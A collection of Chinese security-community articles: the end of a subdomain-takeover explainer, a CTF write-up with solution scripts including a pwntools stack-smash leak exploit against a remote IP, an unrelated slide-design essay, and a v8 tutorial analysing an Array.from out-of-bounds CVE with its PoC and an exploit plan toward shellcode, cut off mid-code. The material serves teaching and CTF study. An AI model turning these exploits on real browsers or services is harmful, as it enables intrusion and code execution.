如果发现intercom上存在了上述案例，我们则可以去创建一个intercom用户并可以试用服务一段时间，接着在服务设置里面的自定义域字段中添加给出错误信息的子域，打开帮助中心并发布测试文章。
之后便可以成功成为该子域的帮助中心管理员。
# 总结
这里也就大致明白为什么之前我的劫持会失败了，对应厂商是否使用了cdn，使用的是何平台的cdn我都不知道，当时的我只是单纯的去github上尝试用cname来劫持对应子域，自然是解析不了的，因为github可能根本没有对应的cname纪录。
其实子域名劫持相比于其他的漏洞，技术要求相对低（虽然在h1上面的评分与赏金挺高的）。如果说sql注入、xss等漏洞的挖掘是技高一筹这种漏洞更像是投机取巧，它就是利用厂商在挖坑后没填的情况下快速占坑来达成目的。这种洞想要预防也很简单，只要工作人员细心一些，关服务前清一下cdn上面的cname记录就可以解决。
不过每年还是能看到一些该洞的报告。国内的站情况如何，我不清楚，因为也看不到报告。但是国外的站，查一查还能发现在几个月前星巴克才爆了几下。
我也想挖几个啊，这种洞感觉就是白拿钱orz（话说我买一个xxx.xxx.target.com的域名算不算子域名劫持啊hhh）。
参考链接
<https://0xpatrik.com/subdomain-takeover-basics/>
<https://github.com/EdOverflow/can-i-take-over-xyz>
<https://blog.zsec.uk/subdomainhijack/>[<https://blog.sweepatic.com/subdomain-takeover-principles/>]
(<https://blog.sweepatic.com/subdomain-takeover-principles/)[https://labs.detectify.com/2016/10/05/the-story-of-ev-ssl-aws-and-trailing-dot-domains/](https://labs.detectify.com/2016/10/05/the-story-of-ev-ssl-aws-and-trailing-dot-domains/>) | 社区文章 |
**作者：china H.L.B战队 未经同意，不得转载**
一、 Misc
1. 题目：签到
解答：
（1） 提示让关注公众号，关注后在公众号里边输入“青龙之站”之后如下图所示；
（2） 回复1f5f2e进入下一关，如下图所示；
（3） 回复4c361b进入下一关，如下图所示；
（4） 回复7642a4进入下一关，如下图所示；
（5） 回复aac333得flag，如下图所示；
（6） Flag：*flag{hello_wangdingbei}
1. 题目：clip
解答：
（1） 下载题目是.disk文件，第一反应是linux虚拟磁盘，如下图所示；
（2） （题目提示词频是损坏的，那么linux挂载肯定没用）使用winHex打开文件，如下图所示；
（3） 在winhex中的第196280行发现了png的文件头，如图下所示；
备注：png 16进制文件头以89504E47开头的
（4） 进行手动查找发现了俩个IHDR的png图片字样另存在如下图所示；
① 第一张图片：
备注：需要填充png尾
② 第二张图片：
备注：需要填充png头和尾
③ 使用PS对俩张图片进行拼接，如下图所示；
（5） Flag：flag{0b008070-eb72-4b99-abed-092075d72a40｝
1. 题目：minified
解答：
（1） Stegsolve打开图片，如下图所示；
（2） 打开Stegsolve选择Data Extract查看图片通道，如下图所示；
（3） 选择0通告发现是LSB隐写，如下图所示；
（4） 分别把alpha，green和blue的0通道另存为再进行异或处理，最终在alpha和green的中发现flag如下图所示；
（5） Flag：flag｛7bb6db9f-d2eb-4e69-8dee-0002ce1e07f9｝
二、 Reverse
1. 题目：beijing
解答：
（1） 题目给了我们一个Linux下的可执行程序，放在虚拟机下运行结果如下图所示:
（2） 拖到IDA里面尝试分析下程序的逻辑，经过分析程序主要处理两个函数，主要逻辑如下:(由于长度关系只截取了部分)
① main函数21次调用了encode函数，然后将返回的结果按照字符打印出来如下图所示；
② encode函数按照参数a1的数值做对应的亦或运算，并返回char类型的结果如下图所示：
（3） 查看亦或部分对应的数据段数据和对应的hex数据如下图所示；
数据段数据：
数据段数据hex数据：
这里可以看到这段数据大部分都是可见的字符，因此可以假设flag就在这段数据中，但是顺序是被打乱的，而正确的顺序就是main函数中的顺序，即
encode :
return flag[i]^xor[i]
main :
list[] <- 记录着正确的flag打印顺序
print encode(list[i])
（4） 按照上面的理论，可得到如下的分组:
flag = ['a','g','i','n','b','e','f','j','m','l','{','z','}','_']
xor = ['L','Y','B','','q','4','','','','','',''] #不可见字符没有打印出来
list = [6,9,0,1,0xa,0,8,0,0xb,2,3,1,0xd,4,5,2,7,2,3,1,0xc]
（5） 最后运算脚本：
result = ''
for i in range(0,21):
result += flag[list[i]]
print result
（6） Flag：flag{amazing_beijing}
1. 题目：advanced
解答：
（1） 把题目放入linux kali中试运行一下，如下图所示；
（2） 把得到的数值进行ASCII转换，如下图所示；
（3） 解密得到内容使用脚本运行得到flag，如下图所示；
（4） Flag：flag{d_with_a_template_phew}
（5） 脚本如下：
tup = 'K@LKVHr[DXEsLsYI@\tmpMYIr\EIZQ'
flag = ""
for i in range(len(tup)):
if i % 2 == 0:
flag += chr(ord(tup[i])^0x2D)
else:
flag += chr(ord(tup[i])^0x2C)
print flag
三、 PWN
1. 题目：GUESS
解答：
（1） 这题就是简单的stack smash加强版。所以把flag读到栈上面了，所以要leak三次
（2） 第一次leak出puts的地址，减去偏移，得到libc基址
（3） 第二次用environ leak出栈地址
（4） 第三次leak出flag
（5） 因此得flag：
flag{936dd5d1-457a-413d-ae5d-bbd55136e524}
（6） 脚本如下：
#!/usr/bin/python
# -*- coding: utf-8 -*- from pwn import *
context.log_level='debug'
libc = ELF('./libc-2.23.so')
p = remote('106.75.90.160', 9999)
payload = 'a'* 296 + p64(0x602020)*3
p.sendline(payload)
p.recvuntil('stack smashing detected ***: ')
puts_addr = u64(p.recvuntil(' ')[:-1]+'\x00\x00')
libc_base = puts_addr - libc.symbols['puts']
environ_addr = libc_base + libc.symbols['_environ']
payload = 'a'*296 + p64(environ_addr)*3
p.sendline(payload)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recvuntil(' ')[:-1]+'\x00\x00')
p.recvuntil('Please type your guessing flag')
payload = 'a'*296 + p64(stack_addr-0x168)*3
p.sendline(payload)
p.interactive()
交流QQ群：[https://jq.qq.com/?_wv=1027&k=5qc1quC](https://jq.qq.com/?_wv=1027&k=5qc1quC) | 社区文章 |
#### Author： elknot@360corpsec
* * *
## 0x00 前言
这篇文章其实是被逼出来的，首先先说一下这篇文章跟企业安全建设没啥太大的关系，纯属当做一个小的插曲。
话说各位大黑客出去装逼的时候都会要求做slides，放到国内就是做ppt，但是slides和ppt差别还是挺大的，换句话说用keynote也可以，但是呢，无论是slide还是ppt，大致的内容都是一个东西。以下全部用Slides作为这个东西的代称。
由于本人在公司里面被同事称作面向游标卡尺做ppt的人，所以今天来给大家传授几个用来做slide的技巧。
p.s 本人不是美术专业出身的，所以有些数据可能描述的不准确，还望各位美术类出身的大牛们多指出、批评，本人愿意对此类现象做整改。
如果您对此篇文章的内容不感兴趣或认为没有必要对Silde进行美化，那么您有三种方式可以关闭该内容：
* 点选浏览器右上角的x
* 使用Command+Q或者Alt+F4关闭浏览器，但是记得保存未完成的工作
* 如果您使用移动端作为载体，可以选择摁Home键或者上划HomeBar返回桌面，也可以选择摁多任务按键左划浏览器或者其他具备webview功能的程序
## 0x01 slides的常见问题
Slides的排版其实是很有点讲究的，首先想要做好排版，得要算好相关的数据和距离。
我们用标准的PowerPoint 2016作为样例给大家讲解一下如何给Slides做排版。
在说这件事之前，先来找几个反面教材：
首先先来看第一张slides，我们上学的时候经常看，但是在字体的选择和背景颜色搭配上存在一定的缺陷，根据经验来看，一般情况下字体分为阅读类字体和展示类字体，阅读类字体其实就是我们看书看报时候用的字体，这类字体一般适合文字较多的地方和密集显示，比如说这张ppt上堆砌的宋体就是比较适合阅读类字体，还有什么其他仿宋、黑体之类的，但是Slides上放这种字体很难做好排版，所以slides上常用的是第二类字体也就是展示类字体，一般多用于广告、展示、视频上，所以第二类字体是slides上用的最多的字体，比如说微软雅黑、Helvetica字体，这类字体非常适合展示。
再来看第二张slides，第二章乍一看上去把第一张的问题改掉了不少，但是第二张的问题在于文字堆砌太多，因为看slides不是为了看书，如果slides上文字过于密集且字体较小，势必会影响看slides人的感受。
再来看第三张slides，第三张Slides的问题其实有点明显，图片与背景颜色反差较大，同时文字对齐方式和字体比例不协调。
其实根据以上的三张slides，我们最常见的问题就已经基本出来了：
1. 字体的选择和大小布局
2. 图片与背景的搭配与选择
3. 环境搭配与字体放置
其实ppt也好，slides也罢，最主要的目的是让Attenders听懂Speakers的演讲内容，一张ppt只需要用5秒就能看懂演讲者这个时间能够讲述的内容，这张ppt其实就是及格的。
但是由于中文相对于其他国家的语言不好排版，所以很多会棍和经常去演讲的人多会选择英文作为演讲的主体内容。其实这个是一个问题，因为使用中文去做排版确实是意见很蛋疼的事儿。
我们来看几个正面的例子：
这个就是一个典型的正面例子，首先很明白的说明了DC/OS的架构设计，清晰简洁一目了然。
这个也是一个比较好的例子，使用了一个容器化的思维来解决了堆砌架构方面的问题，同时保持前景色和背景色反差小。
* * *
## 0x01 Slides如何做排版
首先呢，很多人一上来都去选择找模板，但是根据经验来看，很多模板一上来都是不能直接用的。其实最常见的是16:9和4:3两种比例，以4:3为比例在PowerPoint
2016里面先把标尺调出来，然后找到整张slides的中心线，就跟下面这张图一样：
这样，我们就找到了整张slides的中心，紧接着我们需要确定标题区域、内容区域、页脚区域，使用横线绘制出三个区域，一般我个人会选取2.5:15:1作为比例，你就会得到下面的图：
紧接着调整中心线到内容区域，这样的话你将会看到下面的样子：
这时候就可以根据需要添加标题、内容和页脚了，这时候需要考虑一下排版，由于我们把线画好了，PowerPoint会自动帮你把排版问题解决，只需要执行简单的对其就可以，由于Windows下PowerPoint默认使用Arial字体和Cabili字体，所以最后敲出来的样子应该是：
* * *
## 0x02 Slides的进一步美化
要是一般人来说这样就可以交差了，但是我们作为有追求的人，不能够就这么完了，严格意义上来讲这样只是解决了排版的问题，但是各位观众老爷可能会不买账。因为Slides的作用是为了给各位观众老爷们看的，所以观众老爷们不买账是不行的。所以我们需要对slide进行优化，由于各位大黑客给各位讲的时候一般不会在阳光通透的会议室里面，而是在灯光昏暗的舞台上，也就是说我们这里最好使用白底黑字这种对比反差较大的方式，但是架不住有些地方必须得用白色底色。我们这个时候就可以使用黑色背景附加一个白色矩形来完成这个工作，首先我们需要给我们的slide换成黑色背景同时调整文字颜色，换完之后应该如下图所示：
但是这个时候有问题，文字还是太多，观众有时候不能很好的理解，这时候我们可以使用自带的SmartArt画一个逻辑图形出来，方便观众老爷们理解，同时调节文字，这个时候结果应该会变成下面的样子。
看上去似乎可以了，紧接着我们在对这张slides进行微调，达到最终的效果，之后删掉我们之前的辅助线，就得到了最终的结果：
这样的话我们就做好了一张Slide，效果其实不亚于任何的模板。当然最后的效果实际上是需要根据自己的喜好进行配色。
* * *
## 0x03 总结
其实Slide这个问题无关痛痒，因为大家感兴趣的不是内容而是Slide本身，Slide做的不好会使听众部分丧失对该议题的兴趣，导致最后效果不好，所以Slide算是一个可重要可不重要的东西，取决于Speaker自己的要求。对待这个问题，其实从个人角度来讲，我个人的每次presentation的ppt都是亲力亲为而且不敢马虎半点。 | 社区文章 |
# 扔个骰子学v8 - 从Plaid CTF roll a d8开始
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
`Chrome
v8`是谷歌的高性能开源js引擎，在谷歌系列浏览器当中具有举足轻重的地位。由于js的动态特性，加之现代浏览器对于运行速度的极端要求，导致js引擎的复杂度越来越高，功能也越来越强大。
在这次的`Plaid
CTF`中有一道关于`v8`的题目，其实就是一个`v8`的CVE，所以需要写出一个Nday的利用。好在由于`v8`具有回归测试，所以可以很轻松的得到一个poc，之后根据poc写利用即可。但是对于完全不懂浏览器的我来说依然是一个很大的挑战。通过一段时间的研究，发现这个漏洞其实功能非常强大，所以相对比较好写利用，用这个题目来入门`v8`的利用应该是一个很好的选择了。
## v8的一些基础
js引擎的一个重要的能力，就是可以隔离。
`v8`以`Isolate`作为隔离的单位，也就是说，一个`v8`的运行实例对应了一个`Isolate`，所有运行时的信息都不能采用全局的方式，而是放置在`Isolate`里，不同的`Isolate`于是就可以对应不同的运行环境了。
### JIT机制
`v8`是一个js的引擎，js是一门动态语言，动态语言相对静态语言来说，由于类型信息的缺失，导致优化非常困难。另外，js是一种“解释性”语言，对于解释性语言来说，解释器的效率就是他运行的效率。所以，为了提高运行效率，`v8`采用了`jit
compile`的机制，也就是即时编译。
在运行过程中，首先`v8`会经过一次简单的即时编译，生成字节码，这里使用的jit编译器叫做“基准编译器”(baseline
compiler)，这个时候的编译优化相对较少，目的是快速的启动。之后在运行过程当中，当一段代码运行次数足够多，就会触发其他的更优化的编译器，直接编译到二进制代码，后面这个优化后的编译器叫做”TurboFan”（一直很佩服谷歌起名字的功底…)。为了实现编译到二进制代码还能够运行，很自然的导致jit代码拥有rwx权限，所以从攻击角度来说，这里就是我们的攻击目标：通过修改jit编译之后的代码，执行shellcode。
### 内存管理机制
`v8`中的jit机制用来提高js的运行效率，那么内存管理机制就是用来提高js运用内存的效率。
**垃圾收集器**
js是一门具有`gc`(garbage
collection，垃圾收集器)的语言，也就是说对于js来说，你不需要像`C`，`C++`甚至`Rust`一样去考虑内存是如何使用的（至少大部分时候不需要），当一个对象无法再被使用的时候，就会由垃圾收集器来将这段内存进行回收。
垃圾收集器具体的算法网上有很多资料，在这里就不赘述了，对于我们利用来说其算法也不是关键。不过对于`v8`来说，其垃圾收集器的具体实现有几个特点需要关注。
首先，`v8`将动态内存(堆内存)分成了多个区域，对于垃圾收集器来说，分为了:
* `new space`: 用来放新建立的对象
* `old pointer space`: 用来放”旧的”指针
* `old data space`: 用来放”旧的“数据
* `large object space`: 用来放占用比较大的对象
* `code space`: 用来放jit编译的代码
* `cell space, property cell space, map space`: 对我们来说暂时不重要
这里出现了新旧的概念，对于新对象来说，垃圾收集器会经常性的去尝试看能不能回收，如果一个对象经历过两次回收(这里叫做scavenge)都还没有被回收，于是这个对象就会被放到旧空间当中。
从攻击的角度来讲，我们首先是需要知道`code space`的地址，因为这里是我们攻击的重点。另外，如果我们需要稳定的利用，需要将漏洞对象尽量放到`old
space`当中，否则仅仅两次的scavenge就会导致对象被移动，出现不稳定的情况。不过在CTF中，我们不需要长时间保持稳定，所以可以暂时不需要进行这个工作。
如果需要对`v8`的垃圾收集进行细节的了解，可以[参考这里](http://www.jayconrod.com/posts/55/a-tour-of-v8-garbage-collection)。
**对象表示**
知道了对象所放的位置，还需要知道对象本身长什么样。js的对象和其他面向对象的语言不太一样，js的对象看起来和`Python`中的字典比较像，另外js还具有一套`prototype`机制，正是用这个机制保证了面向对象的功能。除此以外，js对于性能和内存的极端要求，导致了js的对象表示方法也有一定的特殊性。另外，不仅仅是对象，对于js来说，其主要的几种基本数据结构也需要有其独特的表示方式。
Tagged Pointer
js当中，number类型都是表示为double的，也就是说，其实按照js的标准，是没有整数这个类型的，只有double，但是为了节约内存，加快运算等等的考虑，在实现的时候并没有选择这样的实现，会实现一个”小整数类型“。
除小整形(small integer, SMI)以外，其他都是指针类型，所以在区分`smi`和指针类型时，我们可以采用一种特殊的方法，即`Tagged
Pointer`。`Tagged
Pointer`的思想非常简单，由于在32/64位系统当中，指针存在对齐，所以指针的最后几位一定是0，那么我们就可以利用好这个0，通过0表示是`smi`，通过1表示是指针即可。(这里其实还有个小trick，就是采用0表示`smi`意味着在进行运算的时候，除了最后取结果，其他都可以直接进行运算不需要将最后一位标志位去掉)。
在`v8`中，`smi`表示为32位,最低位为标志位，用0表示该数据为`smi`，高31位为整数数值。对于指针，其末位为1，将1去掉即为指针真实值。
Named Properties vs. Elements
这里需要简单的解释两个概念：
* Named Properties: 指js对象当中，非数字索引的，例如使用字符串进行索引。
* Elements: js对象当中使用数字索引的，类似于数组一样的。
由于他们之间的区别，在`v8`进行处理的时候也会采用不同的一些手段。
Hidden Class(Map) (针对Named Properties)
之前提到，js的对象其实表现的效果非常像字典，字典的实现一般是采用hash表的方式，但是hash表的存取速度因为存在hash运算，是比较慢的，为了追求极致的运行速度，`v8`采用了一系列优化的手段。
首先需要提到的就是`Hidden Class`的概念，似乎有的地方也把这个叫做`Map`（也有可能是我没有参透这两个概念之间的区别，如果有问题欢迎更正）。
在静态语言当中，对象的某个属性的存取速度很快，原因是我们存取的时候直接知道某个属性位于对象的哪个位置，于是`v8`也试图采用这样的方法。但是由于js是动态语言，在动态调整属性的时候，我们并不知道属性是否存在，另外属性本身的改变也对属性在对象中的偏移有一定的影响。于是，`v8`采用`Hidden
Class`，将直接存在这个对象当中的属性的信息放在`Hidden Class`当中，也就是，某个属性的偏移是多少，这种信息被放在了`Hidden
Class`当中，当有新的属性加入的时候，`Hidden Class`会采用一种”转移“的手段，建立一个加入了新的属性的`Hidden
Class`，之后在当前的`Hidden Class`里加入一个转移目标，指向新建立的`Hidden
Class`，这样就可以实现动态的添加属性了。另外，这样做还有一个好处，当需要建立一个新的对象，使用到的属性数量名字等和现在这个对象一样，我们就可以复用`Hidden
Class`了。
需要提及的是，这里讨论的主要是针对非数字索引的，如果是类似数组一样的对象，是不会采用这种方式的，其采用的方式将会在后面讨论。
在几乎所有由垃圾收集器管理的对象上，第一个属性都是`Map`，也就是这里的`Hidden
Class`，从攻击角度来讲，我们其实只需要认为这个属性用来区分不同的对象类型即可。
其实除`Hidden Class`以外，`named
properties`还有一些其他的表示方式，但是对于攻击来说我们暂时不需要接触到这些。如果希望有更细节了解的可以参考[这里](http://www.jayconrod.com/posts/52/a-tour-of-v8-object-representation)。
Properties & Elements
现在我们已经知道了`Hidden Class`可以用来优化一些对象，但是并不是所有对象，所有属性都可以用`Hidden
Class`来进行优化的。当一个对象拥有的属性是数字作为索引（类似于数组），或者当对象的属性太多的时候，继续使用`Hidden
Class`就会存在一些问题。因为一个对象在分配的时候会留出来一些空间作为可以直接存储的属性，但是这个空间是有限的，当空间使用完之后（有一些对象没有这个空间），就会需要其他动态空间用来存储属性。
所以在一个对象中，往往有两个field，分别用来存储动态的字典类型（properties）或者是动态数组类型（elements）。
对象的具体表示
这里先给出一个我们在exp中会用到的对象的表示:
// The ArrayBuffers look like this in memory:
//
// 0x00002f5246603d31 <- Map pointer
// 0x000012c543082251 <- OOL Properties (empty fixed array)
// 0x000012c543082251 <- JS Elements (unused, empty fixed array)
// 0x0000414100000000 <- Size as SMI
// 0x000055f399d4ec40 <- Pointer to backing buffer (we want to corrupt this later)
// 0x000055f399d4ec40 <- Again
// 0x0000000000004141 <- Size as native integer
//
// While the plain objects look like this:
//
// 0x00002f524660ae51 <- Map pointer
// 0x000012c543082251 <- OOL Properties (empty fixed array)
// 0x000012c543082251 <- JS Elements (empty fixed array)
// 0x4242424200000000 <- Inline property |a|
// 0x00002d6968926b39 <- Inline property |b| (this is the pointer to |run_shellcode|)
// 0x4343434300000000 <- Inline property |c|
这里是来源于我在赛后`irc`里找人要到的wp，原作者是`Samuel
Groß`(saelo)，我还没有找到如何得到如此清晰的layout信息，关于我从源码中得到layout信息的方法会在后面分析源码地方进行阐述。
### CodeStubAssembler
由于js的效率无论怎么优化都有一定的局限，对于js的原生函数(built-in
functions)来说，这些功能固定的函数就没有必要使用js编写，那么为了极端的优化，就可以使用汇编语言编写。
但是汇编语言与平台相关，而浏览器可以运行在多个平台上，这样就导致同一个函数需要写多份代码。
为了解决这个问题，`v8`使用了`CodeStubAssembler`，一种可以用来生成汇编语言的”汇编器“，其使用的表示方式是一种DSL，通过编写DSL伪汇编代码，使得可以生成汇编代码，达到高效率以及跨平台的目的。
## v8：从源码的角度
在上一节里面我们知道了`v8`的一些基本要素，现在我们需要来看看源码，对应上我们所知道的东西。
代码版本为(6.9.0.0)
### Isolate
代码位于[src/isolate.h](https://v8.paulfryzel.com/docs/master/isolate_8h_source.html)。
这个class非常大，完全看完不是很现实，不过总的来说，通过搜索可以看到`Heap`是他的成员变量。
...
1412 Heap *heap_;
...
我们需要知道的就是`Isolate`代表了一个js实例就可以了。
### 堆管理部分
**v8::internal::Heap**
`Heap`对象代表了一段heap，代码位于[src/heap/heap.h](https://v8.paulfryzel.com/docs/master/heap_8h_source.html)。
C++的问题似乎就是当class太大的时候显得有点乱七八糟，都看不出来一个class到底有哪些成员变量。。
2254行这里可以看到一个heap当中管理的几个space
NewSpace* new_space_;
OldSpace* old_space_;
CodeSpace* code_space_;
MapSpace* map_space_;
LargeObjectSpace* lo_space_;
ReadOnlySpace* read_only_space_;
// Map from the space id to the space.
Space* space_[LAST_SPACE + 1];
这里可以看出来一个不同的`Space`对应了不同的class。
**v8::internal::Space**
源码位于[src/heap/spaces.h](https://v8.paulfryzel.com/docs/master/spaces_8h_source.html)
988行，可以看到保存了一个`MemoryChunk`的List:
base::List<MemoryChunk> memory_chunk_list_;
242行可以看到`MemoryChunk`类的一些介绍，用来表示的是一段内存。`NewSpace`等等的class都是`Space`的子类，由此可以推测出来每一个space都具有多段内存。
### 对象表示部分
这一部分其实是最麻烦的，也是我看了最多代码的，不过都没有找到能够清晰表示出一个object的layout的地方。
**objects**
在[src/objects.h](https://github.com/v8/v8/blob/master/src/objects.h)中有一段注释，说明了各个对象之间的关系，这里的每一个对象都表示了一个js里的对象，然而问题在于，我们依然无法从这里看出来每一个对象具体的layout是如何的。
在每个对象中都有个`layout description`，用一些常量说明了各个offset，例如`JSObject`:
2784行：
// Layout description.
static const int kElementsOffset = JSReceiver::kHeaderSize;
static const int kHeaderSize = kElementsOffset + kPointerSize;
STATIC_ASSERT(kHeaderSize == Internals::kJSObjectHeaderSize);
static const int kMaxInObjectProperties =
(kMaxInstanceSize - kHeaderSize) >> kPointerSizeLog2;
STATIC_ASSERT(kMaxInObjectProperties <= kMaxNumberOfDescriptors);
// TODO(cbruni): Revisit calculation of the max supported embedder fields.
static const int kMaxEmbedderFields =
((1 << kFirstInobjectPropertyOffsetBitCount) - 1 - kHeaderSize) >>
kPointerSizeLog2;
STATIC_ASSERT(kMaxEmbedderFields <= kMaxInObjectProperties);
这里由于`JSObject`是继承于`JSReceiver`的，所以首先是`JSReceiver`的各种东西所占用的大小，用到的是`JSReceiver::kHeaderSize`，也就是说首先是`JSReceiver`的fields，之后是一个pointer，因为`kHeaderSize
= kElementsOffset + kPointerSize`.
其他的object可能位于其他地方，例如`JSArrayBuffer`就没有位于`objects.h`中，不过都可以用这种方法来找出layout
description。可惜这样的方法依然不能知道每一个field的具体类型和用法，这里可能需要查看其他地方的代码，目前我还没有找到。
## 回到题目
### 漏洞分析
好了，到现在，基础的部分我们已经有了一些了解，回到题目来进行一下分析。
`rollad8`这个题目对应了一个cve，patch相关的内容可以在[这里](https://chromium.googlesource.com/v8/v8/+/b5da57a06de8791693c248b7aafc734861a3785d)(google的source，可能需要非常规手段访问)找到。
根据描述:
Always use the runtime to set the length on an array if it doesn't match
the expected length after populating it using Array.from.
可以看出是length相关的问题，在这里也给出了回归测试，可以当做poc进行使用:
// Copyright 2018 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Tests that creating an iterator that shrinks the array populated by
// Array.from does not lead to out of bounds writes.
let oobArray = [];
let maxSize = 1028 * 8;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 0;
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
assertEquals(oobArray.length, maxSize);
// iterator reset the length to 0 just before returning done, so this will crash
// if the backing store was not resized correctly.
oobArray[oobArray.length - 1] = 0x41414141;
这里可以看到，主要做的操作就是在iterator里将`oobArray`的length设置为了0，现在我们需要看看`Array.from`到底干了什么.
从[代码](https://chromium.googlesource.com/v8/v8/+/b5da57a06de8791693c248b7aafc734861a3785d/src/builtins/builtins-array-gen.cc)(googlesource)的1999行找到`Array.from`的实现，这里是用的`CodeStubAssembler`的形式实现的，DSL的含义算是比较清楚，所以通过猜基本也能知道是在做什么。逻辑需要仔细的读一下。
// 首先判断`map_function`是否可以调用
TNode<Object> map_function = args.GetOptionalArgumentValue(1);
// If map_function is not undefined, then ensure it's callable else throw.
{
Label no_error(this), error(this);
GotoIf(IsUndefined(map_function), &no_error);
GotoIf(TaggedIsSmi(map_function), &error);
Branch(IsCallable(map_function), &no_error, &error);
BIND(&error);
ThrowTypeError(context, MessageTemplate::kCalledNonCallable, map_function);
BIND(&no_error);
}
...
// 查看[Symbol.iterator]是不是定义了
IteratorBuiltinsAssembler iterator_assembler(state());
Node* iterator_method =
iterator_assembler.GetIteratorMethod(context, array_like);
Branch(IsNullOrUndefined(iterator_method), ¬_iterable, &iterable);
// 可以进行迭代的情况
BIND(&iterable);
{
...
// 检验方法是否可以调用，可以调用则跳到next
// Check that the method is callable.
{
Label get_method_not_callable(this, Label::kDeferred), next(this);
GotoIf(TaggedIsSmi(iterator_method), &get_method_not_callable);
GotoIfNot(IsCallable(iterator_method), &get_method_not_callable);
Goto(&next);
BIND(&get_method_not_callable);
ThrowTypeError(context, MessageTemplate::kCalledNonCallable,
iterator_method);
BIND(&next);
}
// 进行一些初始化，这里创建了一个length为0的数组
// Construct the output array with empty length.
array = ConstructArrayLike(context, args.GetReceiver());
// Actually get the iterator and throw if the iterator method does not yield
// one.
IteratorRecord iterator_record =
iterator_assembler.GetIterator(context, items, iterator_method);
TNode<Context> native_context = LoadNativeContext(context);
TNode<Object> fast_iterator_result_map =
LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);
Goto(&loop);
// loop，进入循环
BIND(&loop);
{
...
BIND(&loop_done);
{
length = index;
// 循环完成时候跳到finished
Goto(&finished);
}
}
// 无法迭代的情况
BIND(¬_iterable);
{
...
}
BIND(&finished);
// Finally set the length on the output and return it.
GenerateSetLength(context, array.value(), length.value());
args.PopAndReturn(array.value());
主要关注的点在于2189行的`GenerateSetLength`，继续跟踪这个函数，找到1945行的实现，再结合patch，patch里更改了1979行的跳转：
@@ -1945,10 +1945,13 @@
void GenerateSetLength(TNode<Context> context, TNode<Object> array,
TNode<Number> length) {
Label fast(this), runtime(this), done(this);
+ // TODO(delphick): We should be able to skip the fast set altogether, if the
+ // length already equals the expected length, which it always is now on the
+ // fast path.
// Only set the length in this stub if
// 1) the array has fast elements,
// 2) the length is writable,
- // 3) the new length is greater than or equal to the old length.
+ // 3) the new length is equal to the old length.
// 1) Check that the array has fast elements.
// TODO(delphick): Consider changing this since it does an an unnecessary
@@ -1970,10 +1973,10 @@
// BranchIfFastJSArray above.
EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);
- // 3) If the created array already has a length greater than required,
+ // 3) If the created array's length does not match the required length,
// then use the runtime to set the property as that will insert holes
- // into the excess elements and/or shrink the backing store.
- GotoIf(SmiLessThan(length_smi, old_length), &runtime);
+ // into excess elements or shrink the backing store as appropriate.
+ GotoIf(SmiNotEqual(length_smi, old_length), &runtime);
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);
将`SmiLessThan`改为了`SmiNotEqual`，好了我们现在可以分析一下到底出了什么问题了。
`GenerateSetLength`是在最后进行长度设置的，决定了有多少长度可以被访问。
看看`GenerateSetLength`的逻辑：
...
TNode<JSArray> fast_array = CAST(array);
// 根据在Array.from中的goto finished之前的语句，length = index，这里的length其实就是迭代了多少次
// 才结束
TNode<Smi> length_smi = CAST(length);
// 获取到现在array的length，作为old_length
TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
...
// 如果length_smi < old_length，则跳到runtime，runtime会进行需要进行分配或者缩减内存的length改动
GotoIf(SmiLessThan(length_smi, old_length), &runtime);
// 这里直接改动了length，但是没有进行内存的分配或者缩减
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);
Goto(&done);
BIND(&runtime);
{
CallRuntime(Runtime::kSetProperty, context, static_cast<Node*>(array),
CodeStubAssembler::LengthStringConstant(), length,
SmiConstant(LanguageMode::kStrict));
Goto(&done);
}
BIND(&done);
}
这里可以看到，当`length_smi >=
old_length`的时候，也就是迭代的次数比数组的长度要多的时候，length会直接被改变，而没有进行内存的增减。这是由于在进行迭代的时候，我们建立了一个empty的array，之后迭代的结果会放进这个array里，并且放进去的时候都会导致length变大，如果这个临时array比原来的array还要大，那我们就不需要再把内存缩小，就可以放得下。
这样的逻辑乍一看似乎没有问题，但是开发者没有考虑到， **如果在迭代过程中，原来array的长度被改变了** ，就会出现问题了。
在迭代最后一轮当中将原来数组length改小，导致比迭代次数要少，于是内存会被缩减，最后检查的时候发现迭代次数大于`old_length`，就将length改大，但是内存空间依然只有被改小的`old_length`那么多是属于我们的，于是现在我们可以访问不属于我们的内存，造成了oob(out
of bounds, 溢出).
这里的溢出并没有限制功能，我们可以对后面的内存进行读或者写，所以是一个非常强的漏洞了。
### 利用思路
到现在位置，我们已经理解了漏洞的成因，并且知道了漏洞会造成oob读写，接下来思考一下怎么利用。
总的来说，利用思路应该是泄露jit的函数指针，改写jit函数的内容为shellcode，最终调用被改写之后的jit函数。不过首先我们需要解决：
1. 如何泄露指针
2. 如何造成任意地址读写
这里需要提一下，之所以我们需要任意地址读写，是因为我们控制的范围有限，以及jit的函数指针的泄露上，不是直接泄露出jit函数的对象就可以的，还需要通过对象找到真正的函数指针。
泄露指针环节，可以利用js object，通过把jit的函数放到对象中，只要能找到对象，就能找到这个属性，也就是那个jit的函数。
至于任意地址读写，方法其实就是利用`ArrayBuffer`的`backing store`，`backing
store`类似于一段裸内存，于是我们只要能够修改到这个field，就可以利用`ArrayBuffer`来进行任意读写了。
### 利用代码
参考了saelo的利用代码
//
// Utility functions.
//
// Return the hexadecimal representation of the given byte.
function hex(b) {
return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++)
res.push(hex(bytes[i]));
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
